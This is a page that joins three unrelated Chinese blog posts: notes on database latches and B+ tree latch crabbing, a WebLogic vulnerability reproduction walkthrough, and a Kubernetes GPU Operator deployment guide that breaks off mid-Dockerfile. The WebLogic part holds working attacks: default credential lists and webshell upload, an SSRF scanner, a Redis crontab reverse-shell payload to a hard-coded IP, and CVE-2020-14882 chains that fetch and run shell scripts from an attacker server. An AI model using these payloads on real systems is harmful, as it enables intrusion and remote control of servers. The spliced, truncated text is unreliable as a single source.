2024年11月

Overview

Lock和Latch辨析

  • Lock
    :抽象的,逻辑的,整体统筹
  • Latch
    :具体的,原语性的,自我管理

本节主要探讨
Latch

image-20241114092741280

设计目标

  • 内存占用少,无竞态时执行迅速
  • 等待时间过长时取消调度

大致分类

  1. 自旋锁(Test-and-Set Spin Latch)
  2. 阻塞互斥锁(Blocking OS Mutex)
  3. 读写锁(Reader-Writer Latches)
特性 Test-and-Set Spinlock Blocking OS Mutex Reader-Writer Locks
实现 基于原子操作的自旋等待 操作系统级阻塞 允许多读单写
锁争用时的处理 自旋等待,消耗 CPU 阻塞等待,减少 CPU 消耗 读操作可以并发,写操作排他
适用场景 短期锁、轻度锁争用 长期锁、重度锁争用 读多写少
优点 无上下文切换,性能高 避免自旋消耗,适合长时间等待 读写并发,适合读多写少
缺点 CPU 资源消耗高,锁持有时间长时效率低 上下文切换开销较高 写者饥饿问题

image-20241114094213574

C++中的mutex -> pthread -> Linux futex(fast user mutex):先在用户空间用自旋锁,如果获取不到锁,陷入内核态调用阻塞锁进入阻塞队列。

image-20241114095322180

image-20241114095559863

Hash Table Latches

两种粒度:Page Latches和Slot Latches

Page Latches

image
image
image
image
  • T1给page1上读锁,T2等待(如左上图)
  • T1查看page2无读锁,给page2上读锁,释放page1读锁;T2访问page1,上写锁(如右上图)
  • T2访问page2,但由于有T1读锁,等待(如左下图)
  • T1释放page2读锁,T2结束等待,给page2上写锁,写入
    E|val
    (如右下图)

Slot Latches

整体过程和Page Latches类似,只不过粒度变了。

image
image
image
image
  • T1给Slot A上读锁,T2给Slot C上写锁
  • T1访问Slot C,但是由于有T2的写锁,释放Slot A写锁,在C等待(如左上图)
  • T2访问Slot D,释放Slot C写锁,给Slot D上写锁;T1可以访问Slot C,上读锁(如右上图)
  • 重复上述两个步骤(左下图和右下图)

B+Tree Latches

并发问题

相比于哈希表,B+树并发的难点在于树的结构会发生分裂或合并。

image
image
image
image
  • T1找到了需要删除的值44(如左上图)
  • 删除了值44,此时需要偷(steal)左兄弟的值41进行合并,保证叶子结点半满,但是T1被调度,进入休眠(如右上图)
  • T2找到了需要删除的值41,准备读取值41,但是此时T2被调度,进入休眠(如左下图)
  • T1唤醒,进行结点合并,41移动到了新的位置
  • T2被唤醒,读取41,但是数据已经被移动(如右下图)

Latch Crabbing/Couping

具体步骤:

  • 得到父结点的锁
  • 得到子结点的锁
  • 如果子结点是安全的,释放之前的锁,否则不释放
  • 安全的定义:
    • 对于查询:不做要求
    • 对于插入:不满
    • 对于删除:多于半满

例:查询

image
image
image
image

例:删除

image
image
image
image

例:插入

image
image

Optimistic Coupling(乐观锁)

观察:在插入和删除操作中,都会给根结点上写锁,造成系统在根结点处是串行的,有性能瓶颈。

实际上一个页存储一个结点,页大小很大,大多数时候不需要结点分裂,删除时结点也可以延迟合并,说明B+树结构大多数时候不会变化,上写锁的代价太大。

基本思想:上读锁,发现冲突后重新上写锁。

步骤:

  • 查询:不变
  • 插入/删除:
    • 和查询一样,在路径上加读锁,到达叶子结点后加写锁
    • 如果叶子结点不安全,重做;否则直接执行相关操作
image
image
image
image

Leaf Node Scan

叶子结点扫描顺序:

  • 垂直方向:自顶向底
  • 水平方向:没有限制

扫描方向冲突:

  1. 水平扫描方向不一致导致冲突
  2. 水平扫描和垂直扫描冲突

水平扫描方向不一致:读锁没有冲突,互换读锁即可。

image-20241114113049848

水平扫描方向不一致:带写锁时会有冲突,选择自我终结。

image-20241114113141531

为什么选择自我终结:根本原因是latch是低级原语,不涉及全局信息,唯一知道的只有自己的信息,所以选择自我终结。

  • 涉及到读写磁盘,等待时间不定
  • 不知道其他进程进行到什么程度,也不知道其他进程是什么状况

为什么水平方向不能强制一个方向扫描:影响效率,在数据规模变大时更为明显。
比如where子句是
where id > 100000
,如果强制从左到右,得扫描100000条数据

水平扫描和垂直扫描方向不一致:

垂直到达叶子结点的操作,在遇到水平进行的操作时,同样会遇到上述问题,处理方式也相同。

weblogic历史漏洞

是什么?

weblogic是一个web服务器应用(中间件),和jboss一样都是
javaee中间件
,只能识别java语言,绝大部分漏洞都是
T3反序列化漏洞

常见的中间件还有:Apache,nginx,IIS,tomact,weblogic,jboss等

默认端口:7001
Web界面:Error 404 -- Not Found
控制后台:http://ip:7001/console

漏洞复现

1.弱口令+上传war包

环境:/vulhub/weblogic/weak_password

# 创建
docker-compose up -d
  1. 访问:http://your-ip:7001可以发现weblogic版本为10.4.5

image-20241103191038011

  1. 访问
    http://your-ip:7001/console
    用户名:weblogic/密码:weblogic
# weblogic默认弱口令
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
  1. 选择部署 --> 安装 --> 上载文件 --> 上传war包

image-20241103192127353

# 打包成war包
jar -cvf cmd.war cmd.jsp
  1. 最后访问http://your-ip:7001/cmd/cmd.jsp即可,蚁剑连接。

image-20241103222216466

2.CVE-2014-4210(ssrf)

  1. 访问/uddiexplorer/SearchPublicRegistries.jsp这个路径,存在未授权

image-20241104160741266

  1. 在Search by business name中随便输入,bp抓包。

image-20241104160926209

  1. 修改operator参数的值为
    127.0.0.1:7001
    ,发现返回404,因为目标是Weblogic服务,让Weblogic向自己的7001端口发出请求,
    相当于访问your-ip:7001这个页面
    ,页面本身返回404 Not found,说明这里存在SSRF

image-20241104161102650

  1. docker查看两个容器的网段
docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-weblogic-1") | .value.IPv4Address'

docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-redis-1") | .value.IPv4Address'

image-20241104164433211

  1. 可以利用ssrf探测内网,改为
    127.22.0.2:6379
    会返回did not have a valid SOAP(说明是非http协议),说明这个ip开放了redis服务

image-20241104163734881

  • 也可以利用脚本探测
# 探测脚本
import contextlib
import itertools
import requests
url = "http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp"

ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]

for i, port in itertools.product(range(1, 255), ports):
	params = dict(
		rdoSearch="name",
		txtSearchname="sdf",
		selfor="Business+location",
		btnSubmit="Search",
		operator=f"http://172.22.0.{i}:{port}",
	)
	with contextlib.suppress(Exception):
		r = requests.get(url, params=params, timeout = 3)
		# print(r.text)
		if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
			print(f'[*] http://172.22.0.{i}:{port}')

image-20241106163711062

  1. 通过反弹shell攻击redis服务
# 目标:172.22.0.2:6379

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/124.71.45.28/1234 0
>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

  • 对以上进行URL编码,替换到参数中
http%3A%2F%2F172%2E28%2E0%2E2%3A6379%2Ftest%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0%2D59%2
00%2D23%201%2D31%201%2D12%200%2D6%20root%20bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2F
tcp%2F124%2E71%2E45%2E28%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%
2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

  • 看到成功执行

image-20241106181216357

  • 攻击机监听1234端口即可反弹shell!

CVE-2018-2894(任意文件上传)

	在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
	Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。
	影响范围:
		10.3.6.0
		12.1.3.0
		12.2.1.2
		12.2.1.3

如果能访问
/ws_utc/config.do
则存在漏洞

image-20241114115445258

手动利用:
  1. 访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为:
# 将目录设置为`ws_utc`应用的静态文件css目录,访问这个目录是无需权限的

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

image-20241114115851192

  1. 点击安全 -- 添加 -- 在Keystore文件处,上传Webshell(jsp木马)

image-20241114120423412

  1. 访问webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

image-20241114120858116

  1. 蚁剑连接成功!

image-20241114120951461

可以看见我们上传的木马,最终保存在

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/config/keystore/

image-20241114121327896

自动化脚本:

https://github.com/LandGrey/CVE-2018-2894

CVE-2019-2725

  • 利用java反序列化进行攻击,可以实现远程代码执行(vulhub靶场对应的是CVE-2017-10271)
  • 影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
  1. 判断:通过访问路径
    /_async/AsyncResponseService
    判断对应组件是否开启

image-20241108135848572

  1. 脚本利用:
# 下载,里面有一个weblogic-2019-2725.py脚本
git clone https://github.com/TopScrew/CVE-2019-2725

# 使用脚本--命令执行
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001 
whoami

# 使用脚本--文件上传
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001
  • 命令执行

image-20241108141106045

  • 文件上传
    (如果weblogic部署在linux上,改动红框的命令即可)

image-20241108141157970

CVE-2020-14882

	CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
	CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
	使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令

判断漏洞是否存在(CVE-2020-14882),访问如下URL,可未授权访问到管理后台页面,但是是低权限用户

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

image-20241114085114336

进一步利用方式有两种:

一.通过
com.tangosol.coherence.mvel2.sh.ShellSession
局限:
	这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
  1. 验证是否命令执行:在tmp目录下创建success文件夹


    image-20241114090233451
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('touch%20/tmp/success');")
  • 看到成功创建

image-20241114090028199

  1. 反弹shell
  • 创建shell.sh放在攻击机上,并用python开启http服务
# 创建一个文件夹保存shell.sh
mkdir poc

# 进入文件夹
cd poc

# 将反弹shell语句写入shell.sh
echo "/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1" > shell.sh

# python3开启http服务,这样靶机就能下载攻击机的文件
python3 -m http.server

image-20241114093304368

  • 回到靶机执行以下命令(意思是使靶机下载shell.sh并保存到本地的/tmp目录下)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('curl%20http://攻击机ip:8000/shell.sh%20-o%20/tmp/shell.sh');")

image-20241114094050186

  • 可以看到靶机/tmp目录下出现了
    shell.sh

image-20241114094204679

  • 执行以下命令,目的是运行shell.sh脚本文件,并且监听攻击机的
    6666
    端口
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('bash%20/tmp/shell.sh');")

image-20241114094649871

  • 可以看到shell反弹成功!

image-20241114094831858

二.通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
  1. 在攻击机poc文件夹下构造
    shell.xml
    ,作用还是让靶机下载刚刚的
    shell.sh
    到/tmp目录下,只不过这次命令换成了文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 		<constructor-arg>
 			<list>
 				<value>bash</value>
 				<value>-c</value>
 				<value><![CDATA[curl 攻击机ip:8000/shell.sh -o /tmp/shell.sh]]></value>
 			</list>
 		</constructor-arg>
	</bean>
</beans>
  1. 在攻击机poc文件夹下构造
    bash.xml
    ,作用是使靶机执行shell脚本,shell脚本里是反弹shell命令
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 		<constructor-arg>
 			<list>
 				<value>bash</value>
 				<value>-c</value>
 				<value><![CDATA[bash /tmp/shell.sh]]></value>
 			</list>
 		</constructor-arg>
	</bean>
</beans>
  • shell.sh shell.xml bash.xml
    都应该在同一目录下,再开启http服务
python3 -m http.server

image-20241114113925604

  1. 靶机执行以下命令:用来下载shell.xml文件,这时shell.xml就会执行curl命令来下载shell.sh脚本,靶机的/tmp就会存在shell.sh
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/shell.xml")

image-20241114113233059

  1. 靶机执行以下命令:用来执行shell.sh脚本反弹shell(在这一步前攻击机监听6666端口)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/bash.xml")

image-20241114113357157

  • 成功!

image-20241114114229357

gpu-operator.png

本文主要分享如何使用 GPU Operator 快速搭建 Kubernetes GPU 环境。

1. 概述

上一篇文章
GPU 使用指南:如何在裸机、Docker、K8s 等环境中使用 GPU
分享了裸机、Docker 环境以及 K8s 环境中如何使用 GPU。

整个流程还算比较简单,但是因为需要在节点上安装 GPU Driver、Container Toolkit 等组件,当集群规模较大时还是比较麻烦的。

为了解决这个问题,NVIDIA 推出了
GPU Operator

GPU Operator 旨在简化在 Kubernetes 环境中使用 GPU 的过程,通过自动化的方式处理 GPU 驱动程序安装、Controller Toolkit、Device-Plugin 、监控等组件

基本上把需要手动安装、配置的地方全部自动化处理了,极大简化了 k8s 环境中的 GPU 使用。

ps:只有 NVIDIA GPU 可以使用,其他厂家现在基本还是手动安装。

2. 组件介绍

这部分主要分析下 GPU Operator 涉及到的各个组件及其作用。

NVIDIA GPU Operator总共包含如下的几个组件:

  • NFD(Node Feature Discovery)
    :用于给节点打上某些标签,这些标签包括 cpu id、内核版本、操作系统版本、是不是 GPU 节点等,其中需要关注的标签是
    nvidia.com/gpu.present=true
    ,如果节点存在该标签,那么说明该节点是 GPU 节点。
  • GFD(GPU Feature Discovery)
    :用于收集节点的 GPU 设备属性(GPU 驱动版本、GPU型号等),并将这些属性以节点标签的方式透出。在k8s 集群中以 DaemonSet 方式部署,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。
  • NVIDIA Driver Installer
    :基于容器的方式在节点上安装 NVIDIA GPU 驱动,在 k8s 集群中以 DaemonSet 方式部署,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。
  • NVIDIA Container Toolkit Installer
    :能够实现在容器中使用 GPU 设备,在 k8s 集群中以 DaemonSet 方式部署,同样的,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。
  • NVIDIA Device Plugin
    :NVIDIA Device Plugin 用于实现将 GPU 设备以 Kubernetes 扩展资源的方式供用户使用,在 k8s 集群中以 DaemonSet 方式部署,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。
  • DCGM Exporter
    :周期性的收集节点 GPU 设备的状态(当前温度、总的显存、已使用显存、使用率等)并暴露 Metrics,结合 Prometheus 和 Grafana 使用。在 k8s 集群中以DaemonSet 方式部署,只有节点拥有标签
    nvidia.com/gpu.present=true
    时,DaemonSet 控制的 Pod 才会在该节点上运行。

首先是 GFD、NFD,二者都是用于发现 Node 上的信息,并以 label 形式添加到 k8s node 对象上,特别是 GFD 会添加
nvidia.com/gpu.present=true
标签表示该节点有 GPU,只有携带该标签的节点才会安装后续组件。

然后则是 Driver Installer、Container Toolkit Installer 用于安装 GPU 驱动和 container toolkit。

接下来这是 device-plugin 让 k8s 能感知到 GPU 资源信息便于调度和管理。

最后的 exporter 则是采集 GPU 监控并以 Prometheus Metrics 格式暴露,用于做 GPU 监控。

这些组件基本就把需要手动配置的东西都自动化了。

NVIDIA GPU Operator 依如下的顺序部署各个组件,并且如果前一个组件部署失败,那么其后面的组件将停止部署:

  • NVIDIA Driver Installer
  • NVIDIA Container Toolkit Installer
  • NVIDIA Device Plugin
  • DCGM Exporter
  • GFD

每个组件都是以 DaemonSet 方式部署,并且只有当节点存在标签 nvidia.com/gpu.present=true 时,各 DaemonSet控制的 Pod 才会在节点上运行。

nvidia.com/gpu.deploy.driver=pre-installed

GFD & NFD

  • GFD:GPU Feature Discovery

  • NFD:Node Feature Discovery

根据名称基本能猜到这两个组件的功能,发现节点信息和 GPU 信息并以 Label 形式添加到 k8s 中的 node 对象上。

其中 NFD 添加的 label 以
feature.node.kubernetes.io
作为前缀,比如:

feature.node.kubernetes.io/cpu-cpuid.ADX=true
feature.node.kubernetes.io/system-os_release.ID=ubuntu
feature.node.kubernetes.io/system-os_release.VERSION_ID.major=22
feature.node.kubernetes.io/system-os_release.VERSION_ID.minor=04
feature.node.kubernetes.io/system-os_release.VERSION_ID=22.04

对于 GFD 则主要记录 GPU 信息

nvidia.com/cuda.runtime.major=12
nvidia.com/cuda.runtime.minor=2
nvidia.com/cuda.driver.major=535
nvidia.com/cuda.driver.minor=161
nvidia.com/gpu.product=Tesla-T4
nvidia.com/gpu.memory=15360

Driver Installer

NVIDIA 官方提供了一种基于容器安装 NVIDIA 驱动的方式,GPU Operator 安装 nvidia 驱动也是采用的这种方式。

当 NVIDIA 驱动基于容器化安装后,整个架构将演变成图中描述的样子:

gpu-operator-driver-container.png

Driver Installer 组件对应的 DaemonSet 就是
nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04

该 DaemonSet 对应的镜像为

root@test:~# kgo get ds nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04 -oyaml|grep image
        image: nvcr.io/nvidia/driver:535-5.15.0-105-generic-ubuntu22.04

其中 DaemonSet 名称/镜像由几部分组件:

  • nvidia-driver-daemonset 这部分为前缀
  • 5.15.0-105-generic 为内核版本,使用
    uname -r
    命令查看
  • ubuntu22.04 操作系统版本,使用
    cat /etc/os-release
    命令查看
  • 535:这个是 GPU Driver 的版本号,这里表示安装 535 版本驱动,在部署时可以指定。

GPU Operator 会自动根据节点上的内核版本和操作系统生成 DaemonSet 镜像,因为是以 DaemonSet 方式运行的,所有节点上都是跑的同一个 Pod,
因此要限制集群中的所有 GPU 节点操作系统和内核版本必须一致

ps:如果提前手动在节点上安装 GPU 驱动,那么 GPU Operator 检测到之后就不会在该节点上启动 Installer Pod,这样该节点就可以不需要管操作系统和内核版本。

NVIDIA Container Toolkit Installer

该组件用于安装 NVIDIA Container Toolkit。

手动安装的时候有两个步骤:

  • 1)安装 NVIDIA Container Toolkit
  • 2)修改 Runtime 配置指定使用 nvidia-runtime

在整个调用链中新增 nvidia-container-runtime,以便处理 GPU 相关操作。

nv-container-runtime-call-flow

这个 Installer 做的操作也就是这两步:

  • 1)将容器中NVIDIA Container Toolkit组件所涉及的命令行工具和库文件移动到/usr/local/nvidia/toolkit目录下
  • 2)在 /usr/local/nvidia/toolkit/.config/nvidia-container-runtime创建nvidia-container-runtime的配置文件config.toml,并设置nvidia-container-cli.root的值为/run/nvidia/driver。

3. 部署

参考官方文档:
operator-install-guide

准备工作

要求:

1)GPU 节点必须运行相同的操作系统,

  • 如果提前手动在节点上安装驱动的话,该节点可以使用不同的操作系统
  • CPU 节点操作系统没要求,因为 gpu-operator 只会在 GPU 节点上运行

2)GPU 节点必须配置相同容器引擎,例如都是 containerd 或者都是 docker

3)如果使用了 Pod Security Admission (PSA) ,需要为 gpu-operator 标记特权模式

kubectl create ns gpu-operator
kubectl label --overwrite ns gpu-operator pod-security.kubernetes.io/enforce=privileged

4)集群中不要安装 NFD,如果已经安装了需要再安装 gpu-operator 时禁用 NFD 部署。

使用以下命令查看集群中是否部署 NFD

kubectl get nodes -o json | jq '.items[].metadata.labels | keys | any(startswith("feature.node.kubernetes.io"))'

如果返回 true 则说明集群中安装了 NFD。

使用 Helm 部署

官方文档:
operator-install-guide

# 添加 nvidia helm 仓库并更新
helm repo add nvidia https://helm.ngc.nvidia.com/nvidia \
    && helm repo update
# 以默认配置安装
helm install --wait --generate-name \
    -n gpu-operator --create-namespace \
    nvidia/gpu-operator

# 如果提前手动安装了 gpu 驱动,operator 中要禁止 gpu 安装
helm install --wait --generate-name \
     -n gpu-operator --create-namespace \
     nvidia/gpu-operator \
     --set driver.enabled=false

完成后 会启动 Pod 安装驱动,如果节点上已经安装了驱动了,那么 gpu-operaotr 就不会启动安装驱动的 Pod,通过 label 进行筛选。

  • 没安装驱动的节点会打上
    nvidia.com/gpu.deploy.driver=true
    ,表示需要安装驱动
  • 已经手动安装过驱动的节点会打上
    nvidia.com/gpu.deploy.driver=pre-install
    ,Daemonset 则不会在该节点上运行

当然,并不是每个操作系统+内核版本的组合,NVIDIA 都提供了对应的镜像,可以提前在
NVIDIA/driver tags
查看当前 NVIDIA 提供的驱动版本。

测试

部署后,会在
gpu-operator
namespace 下启动相关 Pod,查看一下 Pod 的运行情况,除了一个
Completed
之外其他应该都是 Running 状态。

root@test:~# kubectl -n gpu-operator get po
NAME                                                           READY   STATUS      RESTARTS      AGE
gpu-feature-discovery-jdqpb                                    1/1     Running     0             35d
gpu-operator-67f8b59c9b-k989m                                  1/1     Running     6 (35d ago)   35d
nfd-node-feature-discovery-gc-5644575d55-957rp                 1/1     Running     6 (35d ago)   35d
nfd-node-feature-discovery-master-5bd568cf5c-c6t9s             1/1     Running     6 (35d ago)   35d
nfd-node-feature-discovery-worker-sqb7x                        1/1     Running     6 (35d ago)   35d
nvidia-container-toolkit-daemonset-rqgtv                       1/1     Running     0             35d
nvidia-cuda-validator-9kqnf                                    0/1     Completed   0             35d
nvidia-dcgm-exporter-8mb6v                                     1/1     Running     0             35d
nvidia-device-plugin-daemonset-7nkjw                           1/1     Running     0             35d
nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04-g5dgx   1/1     Running     5 (35d ago)   35d
nvidia-operator-validator-6mqlm                                1/1     Running     0             35d

然后进入
nvidia-driver-daemonset-xxx
Pod,该 Pod 负责 GPU Driver 的安装,在该 Pod 中可以执行
nvidia-smi
命令,比如查看 GPU 信息:

root@j99cloudvm:~# kubectl -n gpu-operator exec -it nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04-g5dgx -- nvidia-smi
Defaulted container "nvidia-device-plugin" out of: nvidia-device-plugin, config-manager, toolkit-validation (init), config-manager-init (init)
Wed Jul 17 01:49:35 2024
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 525.147.05   Driver Version: 525.147.05   CUDA Version: 12.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  NVIDIA A40          Off  | 00000000:00:07.0 Off |                    0 |
|  0%   46C    P0    88W / 300W |    484MiB / 46068MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   1  NVIDIA A40          Off  | 00000000:00:08.0 Off |                    0 |
|  0%   48C    P0    92W / 300W |  40916MiB / 46068MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
+-----------------------------------------------------------------------------+

最后再查看 Pod 信息

$ kubectl get node xxx -oyaml
status:
  addresses:
  - address: 172.18.187.224
    type: InternalIP
  - address: izj6c5dnq07p1ic04ei9vwz
    type: Hostname
  allocatable:
    cpu: "4"
    ephemeral-storage: "189889991571"
    hugepages-1Gi: "0"
    hugepages-2Mi: "0"
    memory: 15246720Ki
    nvidia.com/gpu: "1"
    pods: "110"
  capacity:
    cpu: "4"
    ephemeral-storage: 206043828Ki
    hugepages-1Gi: "0"
    hugepages-2Mi: "0"
    memory: 15349120Ki
    nvidia.com/gpu: "1"
    pods: "110"

确认 capacity 是否包含 GPU,正常应该是有的,比如这样:

  capacity:
    nvidia.com/gpu: "1"

至此,说明我们的 GPU Operator 已经安装成功,K8s 也能感知到节点上的 GPU,接下来就可以在 Pod 中使用 GPU 了。

创建一个测试 Pod,申请一个 GPU:

apiVersion: v1
kind: Pod
metadata:
  name: cuda-vectoradd
spec:
  restartPolicy: OnFailure
  containers:
  - name: cuda-vectoradd
    image: "nvcr.io/nvidia/k8s/cuda-sample:vectoradd-cuda11.7.1-ubuntu20.04"
    resources:
      limits:
        nvidia.com/gpu: 1

正常的 Pod 日志如下:

$ kubectl logs pod/cuda-vectoradd
[Vector addition of 50000 elements]
Copy input data from the host memory to the CUDA device
CUDA kernel launch with 196 blocks of 256 threads
Copy output data from the CUDA device to the host memory
Test PASSED
Done

至此,我们已经可以在 k8s 中使用 GPU 了。


【Kubernetes 系列】
持续更新中,搜索公众号【
探索云原生
】订阅,阅读更多文章。


4. 原理

这部分主要分析一下 Driver Installer 和 NVIDIA Container Toolkit Installer 这两个组件是怎么实现的,大致原理。

Driver Installer

NVIDIA 官方提供了一种基于容器安装 NVIDIA 驱动的方式,GPU Operator 安装 nvidia 驱动也是采用的这种方式。

当 NVIDIA 驱动基于容器化安装后,整个架构将演变成图中描述的样子:

gpu-operator-driver-container.png

安装

Driver Installer 组件对应的 DaemonSet 就是
nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04

该 DaemonSet 对应的镜像为

root@test:~# kgo get ds nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04 -oyaml|grep image
        image: nvcr.io/nvidia/driver:535-5.15.0-105-generic-ubuntu22.04

其中 DaemonSet 名称/镜像由几部分组件:

  • nvidia-driver-daemonset 这部分为前缀
  • 5.15.0-105-generic 为内核版本,使用
    uname -r
    命令查看
  • ubuntu22.04 操作系统版本,使用
    cat /etc/os-release
    命令查看
  • 535:这个是 GPU Driver 的版本号,这里表示安装 535 版本驱动,在部署时可以指定。

查看一下 Pod 日志:

root@test:~# kubectl -n gpu-operaator logs -f nvidia-driver-daemonset-5.15.0-105-generic-ubuntu22.04-g5dgx

========== NVIDIA Software Installer ==========

Starting installation of NVIDIA driver branch 535 for Linux kernel version 5.15.0-105-generic

Stopping NVIDIA persistence daemon...
Unloading NVIDIA driver kernel modules...
Unmounting NVIDIA driver rootfs...
Installing NVIDIA driver kernel modules...
Reading package lists...
Building dependency tree...
Reading state information...
The following packages were automatically installed and are no longer required:
 ...
Setting up linux-modules-nvidia-535-server-5.15.0-105-generic (5.15.0-105.115+1) ...
linux-image-nvidia-5.15.0-105-generic: constructing .ko files
nvidia-drm.ko: OK
nvidia-modeset.ko: OK
nvidia-peermem.ko: OK
nvidia-uvm.ko: OK
nvidia.ko: OK
Processing triggers for linux-image-5.15.0-105-generic (5.15.0-105.115) ...
/etc/kernel/postinst.d/dkms:
 * dkms: running auto installation service for kernel 5.15.0-105-generic
   ...done.
Parsing kernel module parameters...
Loading ipmi and i2c_core kernel modules...
Loading NVIDIA driver kernel modules...
+ modprobe nvidia
+ modprobe nvidia-uvm
+ modprobe nvidia-modeset
+ set +o xtrace -o nounset
Starting NVIDIA persistence daemon...
Mounting NVIDIA driver rootfs...
Done, now waiting for signal

可以看到,先是在安装驱动,安装完成后又加载了一些内核模块。

为了实现在容器中安装驱动,该 Pod 通过 hostPath 将安装驱动相关的目录都挂载到容器中了,

      volumes:
      - hostPath:
          path: /run/nvidia
          type: DirectoryOrCreate
        name: run-nvidia
      - hostPath:
          path: /etc/os-release
          type: ""
        name: host-os-release
      - hostPath:
          path: /run/nvidia-topologyd
          type: DirectoryOrCreate
        name: run-nvidia-topologyd
        name: run-mellanox-drivers
      - hostPath:
          path: /run/nvidia/validations
          type: DirectoryOrCreate
        name: run-nvidia-validations
      - hostPath:
          path: /sys
          type: Directory

镜像构建

根据 Dockerfile 来看下镜像是怎么构建的,以 CentOS8 的 Dockerfile 为例

文件来自:
https://gitlab.com/nvidia/container-images/driver/-/blob/master/centos8/Dockerfile

FROM nvidia/cuda:11.4.1-base-centos8

ENV NVIDIA_VISIBLE_DEVICES=void

RUN NVIDIA_GPGKEY_SUM=d0664fbbdb8c32356d45de36c5984617217b2d0bef41b93ccecd326ba3b80c87 && \
    curl -fsSL https://developer.download.nvidia.com/compute/cuda/repos/rhel8/x86_64/D42D0685.pub | sed '/^Version/d' > /etc/pki/rpm-gpg/RPM-GPG-KEY-NVIDIA && \
    echo "$NVIDIA_GPGKEY_SUM  /etc/pki/rpm-gpg/RPM-GPG-KEY-NVIDIA" | sha256sum -c --strict -

#首先安装一些依赖
RUN dnf install -y \
        ca-certificates \
        curl \
        gcc \
        glibc.i686 \
        make \
        dnf-utils \
